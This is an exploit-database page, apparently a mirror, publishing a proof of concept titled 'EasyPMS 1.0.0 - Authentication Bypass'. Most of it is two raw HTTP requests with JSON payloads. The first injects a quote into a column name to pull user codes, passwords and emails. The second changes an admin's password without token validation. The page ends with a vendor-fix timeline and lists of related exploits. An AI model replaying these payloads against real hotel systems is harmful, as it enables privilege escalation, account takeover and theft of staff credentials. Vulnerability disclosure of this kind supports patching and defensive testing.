Become a patron and gain access to the dashboard, Schedule scans, API and Search

Search for hundreds of thousands of exploits

"EasyPMS 1.0.0 - Authentication Bypass"

Author

Exploit author

Jok3r

Platform

Exploit platform

json

Release date

Exploit published date

2020-10-06

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# Exploit Title: EasyPMS 1.0.0 - Authentication Bypass
# Discovery by: Jok3r
# Vendor Homepage: https://www.elektraweb.com/en/
# Software Link: https://github.com/Travelaps/EasyPMS/releases/
# Tested Version: 1.0.0
# Vulnerability Type: Authentication Bypass
# Tested on OS: Windows Server 2012

#Description:

EasyPMS has authentication bypass vulnerability that low privilege user can escalate privilege to HotelOwner admin privilege.

Steps to Reproduce:

1)
Unprivileged user can manipulate sql query within json request format. Admin user code can be obtained using single quote after ID column so 
that where clause is invalid.

First Request:

POST /Select/STDUSER HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target/app/record/user-profile;index=$ANG.STDUSERID
Content-Type: text/plain
Content-Length: 689
Origin: https://target
Connection: close



{"Action":"Select","Object":"STDUSER","Select":["ID","USERCODE","PASSWORD","EMAIL","LASTNAME","GSM","PHONE","HOTELID","FIRSTNAME","PINCODE"],"Where":[{"Column":"ID'","Operator":"=","Value":"80403"},{"Column":"HOTELID","Operator":"=","Value":22330}],"Paging":{"Current":1,"ItemsPerPage":3},"LoginToken":"token_value"}



2)
While user is sending password resetting request, can change password of Admin user that is inside HotelOwner privilege class.
Because there is not validation of token and user has write permission on STDUSER table so admin user password can be changed by unprivileged user that obtains ID of admin user
sending first request.



Second Request:

POST / HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target/login
Content-Type: text/plain
Content-Length: 128
Origin: https://target
Connection: close


{"Row":{"PASSWORD":"Qw12344.","ID":"80401","HOTELID":22330},"SelectAfterUpdate":["ID"],"Action":"Update","Object":"STDUSER"}






# Timeline:
# 01.10.2020 - issue was discovered 
# 02.10.2020 - notify to vendor
# 02.10.2020 - vendor fixed
Release Date Title Type Platform Author
2020-10-09 "openMAINT 1.1-2.4.2 - Arbitrary File Upload" webapps json mrb3n
2020-10-06 "EasyPMS 1.0.0 - Authentication Bypass" webapps json Jok3r
2020-04-21 "NSClient++ 0.5.2.35 - Authenticated Remote Code Execution" webapps json kindredsec
2020-02-05 "AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)" webapps json "Ihsan Sencan"
2020-02-05 "AVideo Platform 8.1 - Information Disclosure (User Enumeration)" webapps json "Ihsan Sencan"
2020-02-05 "Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)" webapps json nxkennedy
2019-10-30 "Ajenti 2.1.31 - Remote Code Exection (Metasploit)" webapps json "Onur ER"
2019-09-25 "NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution" webapps json "Semen Alexandrovich Lyhin"
2018-11-05 "Royal TS/X - Information Disclosure" webapps json "Jakub Palaczynski"
2018-04-09 "CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - Remote Code Execution" webapps json "RedTeam Pentesting"
Release Date Title Type Platform Author
2020-10-06 "EasyPMS 1.0.0 - Authentication Bypass" webapps json Jok3r
2020-09-14 "Pearson Vue VTS 2.3.1911 Installer - 'VUEApplicationWrapper' Unquoted Service Path" local windows Jok3r
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48858/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.